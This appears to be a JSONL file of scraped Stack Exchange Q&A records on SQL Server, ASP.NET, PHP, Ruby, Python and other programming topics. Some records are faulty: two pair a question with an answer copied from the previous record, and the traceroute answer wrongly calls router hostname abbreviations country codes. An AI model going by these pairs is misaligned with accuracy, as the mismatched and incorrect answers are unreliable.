{"id": "hf_4c1b96839465", "question": "<p>In <a href=\"http://msdn.microsoft.com/en-us/library/ms155365%28SQL.90%29.aspx\" rel=\"nofollow noreferrer\">this MSDN article</a>, MS explains how to specify other delimiters besides commas for csv-type exports from SSRS 2005, however, literal tab characters are stripped by the config file parser, and it doesn't appear that MS has provided a workaround.<br>\n<a href=\"http://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=357527\" rel=\"nofollow noreferrer\">This entry</a> on Microsoft Connect seems to confirm this.<br>\nHas anyone developed a way to export tab-delimited files from SSRS 2005?<br>\nOr perhaps developed an open-source custom renderer to get the job done?  </p>\n\n<p>Note:  I've heard of manually appending <code>&amp;rc:FieldDelimiter=%09</code> via URL access, but that's not an acceptable workaround for my users and doesn't appear to work anyways.</p>\n", "question_body": "", "answer": "I used a select query to format the data and BCP to extract the data out into a file. In my case I encapsulated it all in a stored procedure and scheduled it using the SQL Agent to drop files at certain times. The basic coding is similar to:\n```\n```\nuse tempdb\ngo\ncreate view vw_bcpMasterSysobjects\nas\n   select\n      name = '\"' + name + '\"' ,\n      crdate = '\"' + convert(varchar(8), crdate, 112) + '\"' ,\n      crtime = '\"' + convert(varchar(8), crdate, 108) + '\"'\n   from master..sysobjects\ngo\ndeclare @sql varchar(8000)\nselect @sql = 'bcp \"select * from tempdb..vw_bcpMasterSysobjects\n                     order by crdate desc, crtime desc\"\n               queryout c:\\bcp\\sysobjects.txt -c -t, -T -S'\n                                             + @@servername\nexec master..xp_cmdshell @sql\n```\n```\nPlease have a look at the excellent post\ncreating-csv-files-using-bcp-and-stored-procedures\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.962812"}
{"id": "hf_c3a11a3e9234", "question": "<p>How can i check to see if a static class has been declared?\nex\nGiven the class</p>\n\n<pre><code>class bob {\n    function yippie() {\n        echo \"skippie\";\n    }\n}\n</code></pre>\n\n<p>later in code how do i check:</p>\n\n<pre><code>if(is_a_valid_static_object(bob)) {\n    bob::yippie();\n}\n</code></pre>\n\n<p>so i don't get:\nFatal error: Class 'bob' not found in file.php on line 3</p>\n", "question_body": "", "answer": "```\nbool class_exists( string $class_name [, bool $autoload  ]\n```\n)\nThis function checks whether or not the given class has been defined.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.023438"}
{"id": "hf_747e967f1971", "question": "<p>How to disable standard ASP.NET handling of 401 response code (redirecting to login page) for AJAX/JSON requests?</p>\n\n<p>For web-pages it's okay, but for AJAX I need to get right 401 error code instead of good looking 302/200 for login page.</p>\n\n<p><strong>Update</strong>:\nThere are several solutions from Phil Haack, PM of ASP.NET MVC - <a href=\"http://haacked.com/archive/2011/10/04/prevent-forms-authentication-login-page-redirect-when-you-donrsquot-want.aspx\" rel=\"noreferrer\">http://haacked.com/archive/2011/10/04/prevent-forms-authentication-login-page-redirect-when-you-donrsquot-want.aspx</a></p>\n", "question_body": "", "answer": "You could choose to create a custom\n```\nFilterAttribute\n```\nimplementing the\n```\nIAuthorizationFilter\n```\ninterface.\nIn this attribute you add logic to determine if the request are supposed to return JSON. If so, you can return an empty JSON result (or do whatever you like) given the user isn't signed in. For other responses you would just redirect the user as always.\nEven better, you could just override the\n```\nOnAuthorization\n```\nof the\n```\nAuthorizeAttribute\n```\nclass so you don't have to reinvent the wheel. Add the logic I mentioned above and intercept if the\n```\nfilterContext.Cancel\n```\nis true (the\n```\nfilterContext.Result\n```\nwill be set to an instance of the\n```\nHttpUnauthorizedResult\n```\nclass.\nRead more about\n\"Filters in ASP.NET MVC CodePlex Preview 4\"\non Phil Haacks blog. It also applies to the latest preview.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.047899"}
{"id": "hf_b6f8d96ade99", "question": "<p>Many websites have the concept of sending messages from user to user.  When you send a message to another user, the message would show up in their inbox.  You could respond to the message, and it would show up as a new entry in that message thread.  </p>\n\n<p>You should be able to see if you've read a given message already, and messages that have got a new response should be able to be at the top.</p>\n\n<p>How would you design the classes (or tables or whatever) to support such a system?</p>\n", "question_body": "", "answer": "```\n```\nuser\n id\n name\n\nmessages\n id\n to_user_id\n from_user_id\n title\n date\n\nmessage_post\n id\n message_id\n user_id\n message\n date\n```\n```\nclasses would reflect this sort of schema", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.136449"}
{"id": "hf_d350a87888b2", "question": "<p>I have a local mercurial repository with some site-specific changes in it.  What I would like to do is set a couple files to be un-commitable so that they aren't automatically committed when I do an <code>hg commit</code> with no arguments.</p>\n\n<p>Right now, I'm doing complicated things with <code>mq</code> and guards to achieve this, pushing and popping and selecting guards to prevent my changes (which are checked into an mq patch) from getting committed.</p>\n\n<p>Is there an easier way to do this?  I'm sick of reading the help for all the <code>mq</code> commands every time I want to commit a change that doesn't include my site-specific changes.</p>\n", "question_body": "", "answer": "I would put those files in\n```\n.hgignore\n```\nand commit a \"sample\" form of those files so that they could be easily recreated for a new site when someone checks out your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.233363"}
{"id": "hf_7e20b9b5479c", "question": "<p>Our clients will be uploading images to be printed on their documents and we have been asked to come up with a way to get the resolution of the image in order to warn them if the image has too low of a resolution and will look pixalated in the end-product</p>\n\n<p>If it comes to it we could also go with the dimensions if anyone knows how to get those but the resolution would be preferred</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "System.Drawing.Image\n```\n```\nImage newImage = Image.FromFile(\"SampImag.jpg\");\nnewImage.HorizontalResolution\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.274948"}
{"id": "hf_2b61d2746ba9", "question": "<p>What are the best places to find out everything there is to know about Domain-Driven Design, from beginner to advanced.</p>\n\n<ul>\n<li>Books </li>\n<li>Websites </li>\n<li>Mailing lists  </li>\n<li>User groups</li>\n<li>Conferences</li>\n<li>etc</li>\n</ul>\n", "question_body": "", "answer": "Maybe read the book\nDomain Driven Design\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.334786"}
{"id": "hf_824e675276c1", "question": "<p>I've seen a few sites that list related searches when you perform a search, namely they suggest other search queries you may be interested in.</p>\n\n<p>I'm wondering the best way to model this in a medium-sized site (not enough traffic to rely on visitor stats to infer relationships). My initial thought is to store the top 10 results for each unique query, then when a new search is performed to find all the historical searches that match some amount of the top 10 results but ideally not matching all of them (matching all of them might suggest an equivalent search and hence not that useful as a suggestion).</p>\n\n<p>I imagine that some people have done this functionality before and may be able to provide some ideas of different ways to do this. I'm not necessarily looking for one winning idea since the solution will no doubt vary substantially depending on the size and nature of the site.</p>\n", "question_body": "", "answer": "Maybe read the book\nDomain Driven Design\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.359004"}
{"id": "hf_ed2f0f732456", "question": "<p>I'm writing by own blogging engine in PHP with a MYSQL backend database. MY question is: How would you go about making user comments and blog posts include newlines wherever they are appropriate?</p>\n\n<p>For example, if a user hits the return key in the message/comments box how would this translate into a new line that would show in the browser when the comment is viewed?</p>\n", "question_body": "", "answer": "PHP has a function: nl2br which turns new lines into\n```\n<br />\n```\nwww.php.net/nl2br", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.423226"}
{"id": "hf_824bf63a3327", "question": "<p>I'm writing a setup program to install an application to a USB drive. The application is meant to be used only from USB drives, so it would save an extra step for the user by automatically selecting USB drive to install to.</p>\n\n<p>I might explore using Nullsoft or MSI for install, but since I'm mostly familiar with .NET I initially plan to try either custom .NET installer or setup component on .NET.</p>\n\n<p>Is it possible to determine the drive letter of a USB flash drive on Windows using .NET? How?</p>\n", "question_body": "", "answer": "You could use:\n```\n```\nfrom driveInfo in DriveInfo.GetDrives()\nwhere driveInfo.DriveType == DriveType.Removable && driveInfo.IsReady\nselect driveInfo.RootDirectory.FullName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.448441"}
{"id": "hf_db0813b0f040", "question": "<p>In python is it possible to get or set a logical directory (as opposed to an absolute one).</p>\n\n<p>For example if I have:</p>\n\n<pre><code>/real/path/to/dir\n</code></pre>\n\n<p>and I have</p>\n\n<pre><code>/linked/path/to/dir\n</code></pre>\n\n<p>linked to the same directory.</p>\n\n<p>using os.getcwd and os.chdir will always use the absolute path</p>\n\n<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.chdir('/linked/path/to/dir')\n&gt;&gt;&gt; print os.getcwd()\n/real/path/to/dir\n</code></pre>\n\n<p>The only way I have found to get around this at all is to launch 'pwd' in another process and read the output. However, this only works until you call os.chdir for the first time.</p>\n", "question_body": "", "answer": "The underlying operational system / shell reports real paths to python.\nSo, there really is no way around it, since\n```\nos.getcwd()\n```\nis a wrapped call to C Library\n```\ngetcwd()\n```\nfunction.\nThere are some workarounds in the spirit of the one that you already know which is launching\n```\npwd\n```\n.\nAnother one would involve using\n```\nos.environ['PWD']\n```\n. If that environmnent variable is set you can make some\n```\ngetcwd\n```\nfunction that respects it.\nThe solution below combines both:\n```\n```\nimport os\nfrom subprocess import Popen, PIPE\n\nclass CwdKeeper(object):\n    def __init__(self):\n        self._cwd = os.environ.get(\"PWD\")\n        if self._cwd is None: # no environment. fall back to calling pwd on shell\n           self._cwd = Popen('pwd', stdout=PIPE).communicate()[0].strip()\n        self._os_getcwd = os.getcwd\n        self._os_chdir = os.chdir\n\n    def chdir(self, path):\n        if not self._cwd:\n            return self._os_chdir(path)\n        p = os.path.normpath(os.path.join(self._cwd, path))\n        result = self._os_chdir(p)\n        self._cwd = p\n        os.environ[\"PWD\"] = p\n        return result\n\n    def getcwd(self):\n        if not self._cwd:\n            return self._os_getcwd()\n        return self._cwd\n\ncwd = CwdKeeper()\nprint cwd.getcwd()\n# use only cwd.chdir and cwd.getcwd from now on.    \n# monkeypatch os if you want:\nos.chdir = cwd.chdir\nos.getcwd = cwd.getcwd\n# now you can use os.chdir and os.getcwd as normal.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.508826"}
{"id": "hf_60196cc70434", "question": "<p>What is the best way to encrypt an URL with parameters in Java?</p>\n", "question_body": "", "answer": "Are you sure you don't mean URL\nencode\n?\nEncoding is available through\n```\njava.net.URLEncoder.encode\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.533487"}
{"id": "hf_201d8649fcaf", "question": "<p>I have created a bunch of movie clips which all have similar names and then after some other event I have built up a string like:</p>\n\n<pre><code>var clipName = \"barLeft42\"\n</code></pre>\n\n<p>which is held inside another movie clip called 'thing'.</p>\n\n<p>I have been able to get hold of a reference using:</p>\n\n<pre><code>var movieClip = Eval( \"_root.thing.\" + clipName )\n</code></pre>\n\n<p>But that feels bad - is there a better way?</p>\n", "question_body": "", "answer": "Movie clips are collections in actionscript (like most and similar to javascript, everything is basically key-value pairs). You can index into the collection using square brackets and a string for the key name like:\n```\n```\n_root.thing[ \"barLeft42\" ]\n```\n```\nThat should do the trick for you...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.558029"}
{"id": "hf_8ef8fa070d52", "question": "<p>Is there an efficient way to tell if a DOM element (in an HTML document) is currently visible (appears in the <strong>viewport</strong>)?</p>\n\n<p>(The question refers to Firefox.)</p>\n", "question_body": "", "answer": "Update:\nTime marches on and so have our browsers.\nThis technique is no longer recommended\nand you should use\nDan's solution\nif you do not need to support version of Internet Explorer before 7.\nOriginal solution (now outdated):\nThis will check if the element is entirely visible in the current viewport:\n```\n```\nfunction elementInViewport(el) {\n  var top = el.offsetTop;\n  var left = el.offsetLeft;\n  var width = el.offsetWidth;\n  var height = el.offsetHeight;\n\n  while(el.offsetParent) {\n    el = el.offsetParent;\n    top += el.offsetTop;\n    left += el.offsetLeft;\n  }\n\n  return (\n    top >= window.pageYOffset &&\n    left >= window.pageXOffset &&\n    (top + height) <= (window.pageYOffset + window.innerHeight) &&\n    (left + width) <= (window.pageXOffset + window.innerWidth)\n  );\n}\n```\n```\nYou could modify this simply to determine if any part of the element is visible in the viewport:\n```\n```\nfunction elementInViewport2(el) {\n  var top = el.offsetTop;\n  var left = el.offsetLeft;\n  var width = el.offsetWidth;\n  var height = el.offsetHeight;\n\n  while(el.offsetParent) {\n    el = el.offsetParent;\n    top += el.offsetTop;\n    left += el.offsetLeft;\n  }\n\n  return (\n    top < (window.pageYOffset + window.innerHeight) &&\n    left < (window.pageXOffset + window.innerWidth) &&\n    (top + height) > window.pageYOffset &&\n    (left + width) > window.pageXOffset\n  );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.605849"}
{"id": "hf_f8940ff269e2", "question": "<p>While most operating systems and web browsers have very good support for <a href=\"http://en.wikipedia.org/wiki/Bi-directional_text\" rel=\"nofollow noreferrer\">bidirectional text</a> such as Hebrew and Arabic, most commercial and open-source software does not:</p>\n\n<ul>\n<li>Most text editors, besides the original notepad and the visual studio editor, does a very poor job. (And I tried dozens of them).</li>\n<li>I could not find any file compare tool doing a decent job - No even Beyond-Compare.</li>\n<li>Same thing for software and packages dealing with charting and reporting.</li>\n</ul>\n\n<p>Some questions I have:</p>\n\n<ul>\n<li>Do you share the same pain I do?</li>\n<li>Is the software you write bidirectional compliant? Do you have bug reports about it?</li>\n<li>Do you even know what are the issues involved? Do you test for them?</li>\n<li>Any suggestions on how to make the software world a better place for bidirectional language speakers?</li>\n</ul>\n", "question_body": "", "answer": "Do you share the same pain I do?\nNo.  And that's probably the answer: most people have no idea how bidirectional languages work.  I for example have some troubles working with that.  Because I'm interested in that topic quite a bit I was reading pango sources a while back, and that's probably the second reason why the support sucks: it's damn hard to get right.\nI think the GNOME project has one of the best support for bidirectional user interfaces thanks to Pango (of course I can't verify that because I wouldn't be able to spot the problems).\nBut because you said \"open source\": I think the globalization support in open source projects is generally outstanding.  Linux sucks are pretty much everything, but internationalization is something they get right.\ngettext is still one of the few translation systems that has a (I know half baked but) working pluralization system.\nIs the software you write bidirectional compliant? Do you have bug reports about it?\nProbably not.  I'm working on a web publishing software currently and that's one of the things I haven't tested at all so far :-(\nDo you even know what are the issues involved? Do you test for them?\nBi-directional support is not no the direct roadmap.  So no tests for them, where the issues are I know from the translation interface I wrote for Plurk.\nAny suggestions on how to make the software world a better place for bidirectional language speakers?\nFor an open source project: ask guys to help you that know where the issues are.  For closed source?  Hire someone who knows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.640950"}
{"id": "hf_8fa2dd03a893", "question": "<p>I have an SSIS package that copies the data in a table from one SQL Server 2005 to another SQL Server 2005.  I do this with a \"Data Flow\" task.  In the package config file I expose the destination table name.</p>\n\n<p>Problem is when I change the destination table name in the config file (via notepad) I get the following error \"vs_needsnewmetadata\".  I think I understand the problem... the destination table column mapping is fixed when I first set up the package.</p>\n\n<p>Question:  what's the easiest way to do the above with an ssis package?  </p>\n\n<p>I've read online about setting up the metadata programmatically and all but I'd like to avoid this.  Also I wrote a C# console app that does everything just fine... all tables etc are specified in the app.config ... but apparently this solution isn't good enough.</p>\n", "question_body": "", "answer": "If all you are doing is copying data from one SQL2005 server to another I would just create a Linked Server and use a stored proc to copy the data. An SSIS package is overkill.\nHow to Create  linked server\nOnce the linked server is created you would just program something like...\n```\n```\nINSERT INTO server1.dbo.database1.table1(id,name)\nSELECT id, name FROM server2.dbo.database1.table1\n```\n```\nAs far the SSIS package I have always had to reopen and rebuild the package so that the meta data gets updated when modifying the tables column properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.665616"}
{"id": "hf_d5fa2a66d080", "question": "<p>Using MS SQL Server Management Studio 2005 - To Restore a Database:</p>\n\n<ul>\n<li>Restore Database</li>\n<li><code>(*) From Device:</code></li>\n<li>Click \"<code>...</code>\"  Button</li>\n<li><code>Backup media:  File</code> </li>\n<li>Click \"<code>Add</code>\" Button</li>\n<li>Popup Window: \"<code>Locate Backup File</code>\"</li>\n</ul>\n\n<p>That window Defaults to <code>C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\Backup</code></p>\n\n<p>How do I configure MS SQL Server Management Studio to look in <code>D:\\data\\databases\\</code><br>\ninstead of looking in  <code>C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\Backup</code> ?</p>\n", "question_body": "", "answer": "In the registry, edit the\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL.1\\MSSQLServer\\BackupDirectory\n```\nvalue to point to\n```\nd:\\data\\databases\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.693845"}
{"id": "hf_8c1b25f8d09b", "question": "<p>I recently converted a ruby library to a gem, which seemed to break the command line usability</p>\n\n<p>Worked fine as a library</p>\n\n<pre><code>  $ ruby -r foobar -e 'p FooBar.question' # =&gt; \"answer\"\n</code></pre>\n\n<p>And as a gem, irb knows how to require a gem from command-line switches</p>\n\n<pre><code>  $ irb -rubygems -r foobar\n  irb(main):001:0&gt; FooBar.question # =&gt; \"answer\"\n</code></pre>\n\n<p>But the same fails for ruby itself:</p>\n\n<pre><code>  $ ruby -rubygems -r foobar -e 'p FooBar.question'\n  ruby: no such file to load -- foobar (LoadError)\n</code></pre>\n\n<p>must I now do this, which seems ugly: </p>\n\n<pre><code>  ruby -rubygems -e 'require \"foobar\"; p FooBar.question' # =&gt; \"answer\"\n</code></pre>\n\n<p>Or is there a way to make the 2 switches work?</p>\n\n<p><em>Note</em>: I know the gem could add a bin/program for every useful method but I don't like to pollute the command line namespace unnecessarily</p>\n", "question_body": "", "answer": "-rubygems is actually the same as -r ubygems.\nIt doesn't mess with your search path, as far as I understand, but I think it doesn't add anything to your -r search path either. I was able to do something like this:\n```\n```\nruby -rubygems -r /usr/lib/ruby/gems/myhelpfulclass-0.0.1/lib/MyHelpfulClass -e \"puts MyHelpfulClass\"\n```\n```\nMyHelpfulClass.rb exists in the lib directory specified above.\nThat kind of sucks, but it at least demonstrates that you can have multiple -r equire directives.\nAs a slightly less ugly workaround, you can add additional items to the ruby library search path (colon delimited in *nix, semicolon delimited in windows).\n```\n```\nexport RUBYLIB=/usr/lib/ruby/gems/1.8/gems/myhelpfulclass-0.0.1/lib\nruby -rubygems -r MyHelpfulClass -e \"puts MyHelpfulClass\"\n```\n```\nIf you don't want to mess with the environment variable, you can add something to the load path yourself:\n```\n```\nruby -I /usr/lib/ruby/gems/1.8/gems/myhelpfulclass-0.0.1/lib \\\n   -rubygems -r MyHelpfulClass -e \"puts MyHelpfulClass\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.717933"}
{"id": "hf_991b5a1633ab", "question": "<p>I have a website (ASP.NET) and some winforms(.Net 2.0) for a project (written in C#). I use the webservice (IIS6) for task that both require like sending email inside the business. </p>\n\n<p>I think Webservice is nice but I would like <strong>from your experience</strong> what should and what should not be in a webservice?</p>\n", "question_body": "", "answer": "Well it sounds like you have a limited Service Oriented Architecture (at least, that's what I think you're getting at), which according to Gartner means you'll be rich soon.  :)\nI find that the benefit of SOA for me really comes down to the heterogeneity of the systems involved (sounds like yours doesn't qualify there because it's all .NET), and the negative of SOA is primarily because of the verbose nature of XML.  True, you don't\nneed\nXML for SOA, but it's the current majority, IMHO.\nBut if you're not concerned about the bandwidth/parsing penalties, who cares?  Maybe you're not piping through 10,000 service calls a minute.  With this style of implementation, you're following\nDRY\n, just with a WS instead of a sub, and you're adhering to a standard that is by nature compatible with multiple systems.\nThere's worse approaches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.754616"}
{"id": "hf_1d722e796f8d", "question": "<p>In languages like Java and C#, strings are immutable and it can be computationally expensive to build a string one character at a time.  In said languages, there are library classes to reduce this cost such as C# <code>System.Text.StringBuilder</code> and Java <code>java.lang.StringBuilder</code>.</p>\n\n<p>Does php (4 or 5; I'm interested in both) share this limitation?  If so, are there similar solutions to the problem available?</p>\n", "question_body": "", "answer": "no such limitation in php,\nphp can concatenate strng with the dot(.) operator\n```\n```\n$a=\"hello \";\n$b=\"world\";\necho $a.$b;\n```\n```\noutputs \"hello world\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.790494"}
{"id": "hf_0545d8c26e6e", "question": "<p>When I use traceroute, I often see abbreviations in the hostnames along the route, such as \"ge\", \"so\", \"ic\", \"gw\", \"bb\" etc. I can guess \"bb\" means backbone.</p>\n\n<p>Does anyone know what any these strings abbreviate, or know any other common abbreviations?</p>\n", "question_body": "", "answer": "These are ISO-3166-1 Alpha2 geographical domain id's converted to lower case.\nge - Georgia\ngw - Guinea-Bisseau\nso - Somalia\nbb - Barbados\nic - old code for Iceland?\nJust look for ISO-3166 for the complete list of country codes. And RFC 1700 for the geo domain list.\nCan you please provide the output from one of your traceroutes?\nHostnames using components such as bb for backbone and gw for gateway tend to put those towards the start of a hostname, e.g. bb1.toto.com.au or gw2.wtf.co.uk.\nThis follows a naming convention of more specfic to less specific elements in the name as you traverse from left to right.\nGeographical domains are, almost always, at the end of the hostname.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.815046"}
{"id": "hf_0c4382ddb087", "question": "<p>I'd like to slice and dice large datafiles, up to a gig, in a fairly quick and efficient manner.  If I use something like UNIX's \"CUT\", it's extremely fast, even in a CYGWIN environment. </p>\n\n<p>I've tried developing and benchmarking various Ruby scripts to process these files, and always end up with glacial results.  </p>\n\n<p>What would you do in Ruby to make this not so dog slow?</p>\n", "question_body": "", "answer": "This question reminds me of Tim Bray's\nWide Finder project\n. The fastest way he could read an Apache logfile using Ruby and figure out which articles have been fetched the most was with this script:\n```\n```\ncounts = {}\ncounts.default = 0\n\nARGF.each_line do |line|\n   if line =~ %r{GET /ongoing/When/\\d\\d\\dx/(\\d\\d\\d\\d/\\d\\d/\\d\\d/[^ .]+) }\n     counts[$1] += 1\n   end\nend\n\nkeys_by_count = counts.keys.sort { |a, b| counts[b] <=> counts[a] }\nkeys_by_count[0 .. 9].each do |key|\n    puts \"#{counts[key]}: #{key}\"\nend\n```\n```\nIt took this code 7½ seconds of CPU, 13½ seconds elapsed, to process a million and change records, a quarter-gig or so, on last year’s 1.67Ghz PowerBook.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.840178"}
{"id": "hf_12abd177e71a", "question": "<p>I tend to implement UI functionality using fairly self-documenting void doSomething() methods, i.e. if the user presses this button then perform this action then enable this list box, disable that button, etc. Is this the best approach? Is there a better pattern for general UI management i.e. how to control when controls are enabled/disabled/etc. etc. depending on user input?</p>\n\n<p>Often I feel like I'm veering towards the 'big class that does everything' anti-pattern as so much seems to interact with the 'main' form class. Often, even if I'm including private state variables in the class that have been implemented using a relatively modular design, I'm still finding it grows so quickly it's ridiculous.</p>\n\n<p>So could people give me some good advice towards producing quality, testable, decoupled WinForms design without falling into these traps?</p>\n", "question_body": "", "answer": "I would only put UI logic in the Form class and put any application logic in its own class:\n```\n```\nclass Form1 : Form\n {  \n    void Button1_Click\n     { \n       Program.DoCommand1();\n     }\n }\n\nstatic class Program\n{\n  internal static void DoCommand1() {/* ... */}\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.864523"}
{"id": "hf_9c809bfeb747", "question": "<p>I am trying to mock-up an API and am using separate apps within Django to represent different web services. I would like App A to take in a link that corresponds to App B and parse the <code>json</code> response. </p>\n\n<p>Is there a way to dynamically construct the url to App B so that I can test the code in development and not change to much before going into production? The problem is that I can't use localhost as part of a link. </p>\n\n<p>I am currently using urllib, but eventually I would like to do something less hacky and better fitting with the web services <code>REST</code> paradigm.</p>\n", "question_body": "", "answer": "I would only put UI logic in the Form class and put any application logic in its own class:\n```\n```\nclass Form1 : Form\n {  \n    void Button1_Click\n     { \n       Program.DoCommand1();\n     }\n }\n\nstatic class Program\n{\n  internal static void DoCommand1() {/* ... */}\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.889565"}
{"id": "hf_9c78d001bf83", "question": "<p>We want to switch a web server from Windows 2003 to Windows 2003 Enterprise (64 bits) to use 8GB of RAM. Will IIS 6.0 and an ASPNET 1.1 application be able to benefit from the change?</p>\n", "question_body": "", "answer": "My understanding is that there was a virtual address space limitation of 3 GB in ASP.NET 1.1, and that it was never made 64 bit compatible, though 2.0 was.\nYou can get IIS 6.0 to run 32 bit (i.e. ASP.NET 1.1) on the 64 OS, but it will be in a 32 bit mode (along with anything else hosted, including ASP.NET 2.0 sites).\nMicrosoft article on switching between 32 bit and 64 bit", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.925161"}
